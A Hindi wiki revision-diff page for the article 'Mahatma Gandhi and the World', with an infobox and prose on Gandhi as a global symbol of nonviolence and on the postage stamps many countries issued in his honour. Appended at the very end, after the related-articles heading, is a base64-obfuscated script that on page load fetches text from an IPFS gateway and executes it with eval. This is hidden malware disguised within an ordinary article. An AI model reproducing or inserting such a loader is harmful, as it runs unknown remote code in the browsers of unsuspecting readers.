"महात्मा गाँधी और विश्व": अवतरणों में अंतर
No edit summary |
No edit summary |
||
(2 सदस्यों द्वारा किए गए बीच के 4 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{महात्मा गाँधी विषय सूची}} | |||
'''महात्मा गाँधी''' सम्पूर्ण विश्व पटल पर सिर्फ़ एक नाम ही नहीं, अपितु शांति और अहिंसा का एक प्रमुख प्रतीक | {{सूचना बक्सा राजनीतिज्ञ | ||
|चित्र=Mahatma-Gandhi-1.jpg | |||
|पूरा नाम=मोहनदास करमचंद गाँधी | |||
|अन्य नाम=बापू, महात्मा जी | |||
|जन्म=[[2 अक्तूबर]], [[1869]] | |||
|जन्म भूमि=[[पोरबंदर]], [[गुजरात]] | |||
|अभिभावक=करमचंद गाँधी, पुतलीबाई | |||
|पति/पत्नी=[[कस्तूरबा गाँधी]] | |||
|संतान=हरिलाल, मनिलाल, रामदास, देवदास | |||
|मृत्यु=[[30 जनवरी]], [[1948]] | |||
|मृत्यु स्थान=[[नई दिल्ली]] | |||
|मृत्यु कारण=हत्या | |||
|स्मारक=[[राजघाट दिल्ली|राजघाट (दिल्ली)]], बिरला हाउस (दिल्ली) आदि। | |||
|क़ब्र= | |||
|नागरिकता= | |||
|प्रसिद्धि= | |||
|पार्टी=[[भारतीय राष्ट्रीय कांग्रेस|काँग्रेस]] | |||
|पद= | |||
|भाषा= | |||
|जेल यात्रा= | |||
|कार्य काल= | |||
|विद्यालय=बंबई यूनिवर्सिटी, सामलदास कॉलेज | |||
|शिक्षा=बैरिस्टर | |||
|पुरस्कार-उपाधि= | |||
|विशेष योगदान= | |||
|संबंधित लेख=[[गाँधी युग]], [[असहयोग आंदोलन]], [[नमक सत्याग्रह]], [[भारत छोड़ो आन्दोलन]], [[दांडी मार्च]], [[व्यक्तिगत सत्याग्रह]], [[सविनय अवज्ञा आन्दोलन]], [[ख़िलाफ़त आन्दोलन]] | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी= | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''महात्मा गाँधी''' सम्पूर्ण विश्व पटल पर सिर्फ़ एक नाम ही नहीं, अपितु शांति और अहिंसा का एक प्रमुख प्रतीक हैं। महात्मा गाँधी के पूर्व भी शान्ति और अहिंसा की अवधारणा फलित थी, परन्तु उन्होंने जिस प्रकार सत्याग्रह, शान्ति व अहिंसा के रास्तों पर चलते हुये [[अंग्रेज़|अंग्रेज़ों]] को [[भारत]] छोड़ने पर मजबूर कर दिया, उसका कोई दूसरा उदाहरण विश्व इतिहास में देखने को नहीं मिलता। तभी तो प्रख्यात वैज्ञानिक आइंस्टीन ने कहा था कि- 'हज़ार साल बाद आने वाली नस्लें इस बात पर मुश्किल से विश्वास करेंगी, कि हाड़-मांस से बना ऐसा कोई इन्सान [[पृथ्वी ग्रह|पृथ्वी]] पर कभी आया था।' संयुक्त राष्ट्र संघ ने भी वर्ष 2007 से गाँधी जयन्ती को ‘विश्व अहिंसा दिवस’ के रूप में मनाये जाने की घोषणा की। | |||
==लोकप्रिय राजनेता== | ==लोकप्रिय राजनेता== | ||
महात्मा गाँधी दुनिया के सर्वाधिक लोकप्रिय राजनेताओं और व्यक्तित्व में से हैं। यही कारण है कि प्राय: अधिकतर देशों ने उनके सम्मान में डाक टिकट जारी किये हैं। देश विदेश के टिकटों में देखें, तो | महात्मा गाँधी दुनिया के सर्वाधिक लोकप्रिय राजनेताओं और व्यक्तित्व में से हैं। यही कारण है कि प्राय: अधिकतर देशों ने उनके सम्मान में डाक टिकट जारी किये हैं। देश विदेश के टिकटों में देखें, तो गाँधी जी का पूरा जीवन चरित्र पाया जा सकता है। [[चित्र:Gandhiji-Postage-Stamp.jpg|left|250px|thumb|[[डाक टिकटों में महात्मा गाँधी]]]]सामान्यतः डाक टिकट एक छोटा-सा [[काग़ज़]] का टुकड़ा दिखता है, पर इसका महत्त्व और कीमत दोनों ही इससे काफ़ी ज़्यादा है। डाक टिकट वास्तव में एक नन्हा राजदूत है, जो विभिन्न देशों का भ्रमण करता है एवम् उन्हें अपनी सभ्यता, [[संस्कृति]] और विरासत से अवगत कराता है। यह किसी भी राष्ट्र के लोगों, उनकी आस्था व [[दर्शन]], ऐतिहासिकता, संस्कृति, विरासत एवं उनकी आकांक्षाओं व आशाओं का प्रतीक है। ऐसे में डाक-टिकटों पर स्थान पाना गौरव की बात है। | ||
[[भारत]] में सर्वाधिक बार डाक-टिकटों पर स्थान पाने वालों में [[ | [[भारत]] में सर्वाधिक बार डाक-टिकटों पर स्थान पाने वालों में [[गाँधी जी]] प्रथम हैं। यहाँ तक कि आज़ाद [[भारत]] में वे प्रथम व्यक्तित्व थे, जिन पर डाक टिकट जारी हुआ। बहुत कम लोगों को पता होगा, कि भारत को ग़ुलामी के शिकंजे में कसने वाले [[ब्रिटेन]] ने जब पहली दफा किसी महापुरुष पर डाक टिकट निकाला, तो वह महात्मा गाँधी ही थे। इससे पहले [[ब्रिटेन]] में डाक टिकट पर केवल राजा या रानी के ही चित्र छापे जाते थे। यह टिकट रस्तोगी के संग्रह में शामिल है। डाक टिकट पर पहले गाँधी जी के लिए बापू शब्द का प्रयोग हुआ था, मगर बाद की टिकटों पर महात्मा गाँधी लिखा जाने लगा। | ||
==शांति के राजदूत== | ==शांति के राजदूत== | ||
कई देशों ने महात्मा गांधी की जन्म शताब्दी, 125वीं जयंती व भारत की 50वीं स्वतंत्रता वर्षगाँठ पर कई प्रकार के अलग-अलग मूल्यों के डाक टिकट व डाक सामग्रियाँ समय–समय पर जारी की हैं। शांति के मसीहा व सहस्त्राब्दि के नायक के रूप में भी अनेक देशों ने, गांधी जी के चित्रों को आधार बनाकर डाक टिकट व अन्य डाक सामग्रियाँ जारी की हैं। कई देशों ने महात्मा गांधी पर डाक टिकट ही नहीं, बल्कि मिनीएचर और सोविनियर शीट्स जारी की। उन्हें इस बात की हैरानी है कि, दुनिया के अधिकांश देशों ने बापू पर टिकट जारी कर उन्हें सम्मान दिया, लेकिन [[पाकिस्तान]] ने नहीं। शांति के इस दूत की उपेक्षा की शायद वजह यह है कि, पाकिस्तान में कभी भी शांति बहाल नहीं हुई। भारतवर्ष से बाहर के देशों में लगभग 100 से भी अधिक ने गांधी जी के जीवन से जुडे विभिन्न पहलुओं को केंद्र में रखते हुए उनके जीवन पर आधारित विभिन्न डाक सामग्रियाँ व डाक टिकट जारी किए हैं। इन देशों में विश्व के सभी महाद्वीपों के देश शामिल हैं। | कई देशों ने महात्मा गांधी की जन्म शताब्दी, 125वीं जयंती व भारत की 50वीं स्वतंत्रता वर्षगाँठ पर कई प्रकार के अलग-अलग मूल्यों के डाक टिकट व डाक सामग्रियाँ समय–समय पर जारी की हैं। '''शांति के मसीहा''' व '''सहस्त्राब्दि के नायक''' के रूप में भी अनेक देशों ने, गांधी जी के चित्रों को आधार बनाकर डाक टिकट व अन्य डाक सामग्रियाँ जारी की हैं। कई देशों ने महात्मा गांधी पर डाक टिकट ही नहीं, बल्कि मिनीएचर और सोविनियर शीट्स जारी की। उन्हें इस बात की हैरानी है कि, दुनिया के अधिकांश देशों ने बापू पर टिकट जारी कर उन्हें सम्मान दिया, लेकिन [[पाकिस्तान]] ने नहीं। शांति के इस दूत की उपेक्षा की शायद वजह यह है कि, पाकिस्तान में कभी भी शांति बहाल नहीं हुई। भारतवर्ष से बाहर के देशों में लगभग 100 से भी अधिक ने गांधी जी के जीवन से जुडे विभिन्न पहलुओं को केंद्र में रखते हुए उनके जीवन पर आधारित विभिन्न डाक सामग्रियाँ व डाक टिकट जारी किए हैं। इन देशों में विश्व के सभी महाद्वीपों के देश शामिल हैं। | ||
{{seealso|महात्मा गाँधी के अनमोल वचन|डाक टिकटों में महात्मा गाँधी|महात्मा गाँधी अंतर्राष्ट्रीय हिन्दी विश्वविद्यालय}} | {{seealso|महात्मा गाँधी के अनमोल वचन|डाक टिकटों में महात्मा गाँधी|महात्मा गाँधी अंतर्राष्ट्रीय हिन्दी विश्वविद्यालय}} | ||
{{लेख प्रगति|आधार=|प्रारम्भिक= | |||
{{लेख क्रम2 |पिछला=महात्मा गाँधी और गोलमेज सम्मेलन|पिछला शीर्षक=महात्मा गाँधी और गोलमेज सम्मेलन|अगला शीर्षक= डाक टिकटों में महात्मा गाँधी|अगला= डाक टिकटों में महात्मा गाँधी}} | |||
{{लेख प्रगति |आधार=|प्रारम्भिक=|माध्यमिक= माध्यमिक2|पूर्णता= |शोध=}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==बाहरी कड़ियाँ== | |||
*[http://www.youtube.com/watch?v=3gpRJp82GXc&feature=player_embedded महात्मा गाँधी साक्षात्कार विडियो] | |||
*[http://www.youtube.com/watch?v=Dcn6OmGF5Rk&feature=player_embedded महात्मा गाँधी भाषण विडियो] | |||
*[http://www.abhivyakti-hindi.org/gharparivar/tikat_sangrah/gandhi/gandhi_01.htm डाक टिकटों में गाँधी] | |||
*[http://dakbabu.blogspot.com/2010/10/blog-post.html डाक-टिकटों पर भी छाये गाँधी जी] | |||
*[http://hindi.webdunia.com/miscellaneous/special08/gandhi/0810/01/1081001085_1.htm डाक टिकटों में मोहन से महात्मा तक का सफर] | |||
*[http://www.rachanakar.org/2012/10/blog-post_1635.html गाँधी दर्शन की प्रासंगिकता - प्रोफ्सर महावीर सरन जैन] | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{महात्मा गाँधी}} | {{महात्मा गाँधी}}{{स्वतन्त्रता सेनानी}} | ||
[[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:महात्मा गाँधी]][[Category: | [[Category:स्वतन्त्रता सेनानी]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:जीवनी साहित्य]][[Category:महात्मा गाँधी]][[Category:राजनेता]][[Category:राजनीति कोश]][[Category:इतिहास कोश]] | ||
__INDEX__ | __INDEX__ | ||
{{सुलेख}} | |||
__NOTOC__ | __NOTOC__ |
13:34, 16 दिसम्बर 2016 के समय का अवतरण
महात्मा गाँधी और विश्व
| |
पूरा नाम | मोहनदास करमचंद गाँधी |
अन्य नाम | बापू, महात्मा जी |
जन्म | 2 अक्तूबर, 1869 |
जन्म भूमि | पोरबंदर, गुजरात |
मृत्यु | 30 जनवरी, 1948 |
मृत्यु स्थान | नई दिल्ली |
मृत्यु कारण | हत्या |
अभिभावक | करमचंद गाँधी, पुतलीबाई |
पति/पत्नी | कस्तूरबा गाँधी |
संतान | हरिलाल, मनिलाल, रामदास, देवदास |
स्मारक | राजघाट (दिल्ली), बिरला हाउस (दिल्ली) आदि। |
पार्टी | काँग्रेस |
शिक्षा | बैरिस्टर |
विद्यालय | बंबई यूनिवर्सिटी, सामलदास कॉलेज |
संबंधित लेख | गाँधी युग, असहयोग आंदोलन, नमक सत्याग्रह, भारत छोड़ो आन्दोलन, दांडी मार्च, व्यक्तिगत सत्याग्रह, सविनय अवज्ञा आन्दोलन, ख़िलाफ़त आन्दोलन |
महात्मा गाँधी सम्पूर्ण विश्व पटल पर सिर्फ़ एक नाम ही नहीं, अपितु शांति और अहिंसा का एक प्रमुख प्रतीक हैं। महात्मा गाँधी के पूर्व भी शान्ति और अहिंसा की अवधारणा फलित थी, परन्तु उन्होंने जिस प्रकार सत्याग्रह, शान्ति व अहिंसा के रास्तों पर चलते हुये अंग्रेज़ों को भारत छोड़ने पर मजबूर कर दिया, उसका कोई दूसरा उदाहरण विश्व इतिहास में देखने को नहीं मिलता। तभी तो प्रख्यात वैज्ञानिक आइंस्टीन ने कहा था कि- 'हज़ार साल बाद आने वाली नस्लें इस बात पर मुश्किल से विश्वास करेंगी, कि हाड़-मांस से बना ऐसा कोई इन्सान पृथ्वी पर कभी आया था।' संयुक्त राष्ट्र संघ ने भी वर्ष 2007 से गाँधी जयन्ती को ‘विश्व अहिंसा दिवस’ के रूप में मनाये जाने की घोषणा की।
लोकप्रिय राजनेता
महात्मा गाँधी दुनिया के सर्वाधिक लोकप्रिय राजनेताओं और व्यक्तित्व में से हैं। यही कारण है कि प्राय: अधिकतर देशों ने उनके सम्मान में डाक टिकट जारी किये हैं। देश विदेश के टिकटों में देखें, तो गाँधी जी का पूरा जीवन चरित्र पाया जा सकता है।
सामान्यतः डाक टिकट एक छोटा-सा काग़ज़ का टुकड़ा दिखता है, पर इसका महत्त्व और कीमत दोनों ही इससे काफ़ी ज़्यादा है। डाक टिकट वास्तव में एक नन्हा राजदूत है, जो विभिन्न देशों का भ्रमण करता है एवम् उन्हें अपनी सभ्यता, संस्कृति और विरासत से अवगत कराता है। यह किसी भी राष्ट्र के लोगों, उनकी आस्था व दर्शन, ऐतिहासिकता, संस्कृति, विरासत एवं उनकी आकांक्षाओं व आशाओं का प्रतीक है। ऐसे में डाक-टिकटों पर स्थान पाना गौरव की बात है।
भारत में सर्वाधिक बार डाक-टिकटों पर स्थान पाने वालों में गाँधी जी प्रथम हैं। यहाँ तक कि आज़ाद भारत में वे प्रथम व्यक्तित्व थे, जिन पर डाक टिकट जारी हुआ। बहुत कम लोगों को पता होगा, कि भारत को ग़ुलामी के शिकंजे में कसने वाले ब्रिटेन ने जब पहली दफा किसी महापुरुष पर डाक टिकट निकाला, तो वह महात्मा गाँधी ही थे। इससे पहले ब्रिटेन में डाक टिकट पर केवल राजा या रानी के ही चित्र छापे जाते थे। यह टिकट रस्तोगी के संग्रह में शामिल है। डाक टिकट पर पहले गाँधी जी के लिए बापू शब्द का प्रयोग हुआ था, मगर बाद की टिकटों पर महात्मा गाँधी लिखा जाने लगा।
शांति के राजदूत
कई देशों ने महात्मा गांधी की जन्म शताब्दी, 125वीं जयंती व भारत की 50वीं स्वतंत्रता वर्षगाँठ पर कई प्रकार के अलग-अलग मूल्यों के डाक टिकट व डाक सामग्रियाँ समय–समय पर जारी की हैं। शांति के मसीहा व सहस्त्राब्दि के नायक के रूप में भी अनेक देशों ने, गांधी जी के चित्रों को आधार बनाकर डाक टिकट व अन्य डाक सामग्रियाँ जारी की हैं। कई देशों ने महात्मा गांधी पर डाक टिकट ही नहीं, बल्कि मिनीएचर और सोविनियर शीट्स जारी की। उन्हें इस बात की हैरानी है कि, दुनिया के अधिकांश देशों ने बापू पर टिकट जारी कर उन्हें सम्मान दिया, लेकिन पाकिस्तान ने नहीं। शांति के इस दूत की उपेक्षा की शायद वजह यह है कि, पाकिस्तान में कभी भी शांति बहाल नहीं हुई। भारतवर्ष से बाहर के देशों में लगभग 100 से भी अधिक ने गांधी जी के जीवन से जुडे विभिन्न पहलुओं को केंद्र में रखते हुए उनके जीवन पर आधारित विभिन्न डाक सामग्रियाँ व डाक टिकट जारी किए हैं। इन देशों में विश्व के सभी महाद्वीपों के देश शामिल हैं।
इन्हें भी देखें: महात्मा गाँधी के अनमोल वचन, डाक टिकटों में महात्मा गाँधी एवं महात्मा गाँधी अंतर्राष्ट्रीय हिन्दी विश्वविद्यालय
महात्मा गाँधी और विश्व |
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
- महात्मा गाँधी साक्षात्कार विडियो
- महात्मा गाँधी भाषण विडियो
- डाक टिकटों में गाँधी
- डाक-टिकटों पर भी छाये गाँधी जी
- डाक टिकटों में मोहन से महात्मा तक का सफर
- गाँधी दर्शन की प्रासंगिकता - प्रोफ्सर महावीर सरन जैन
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>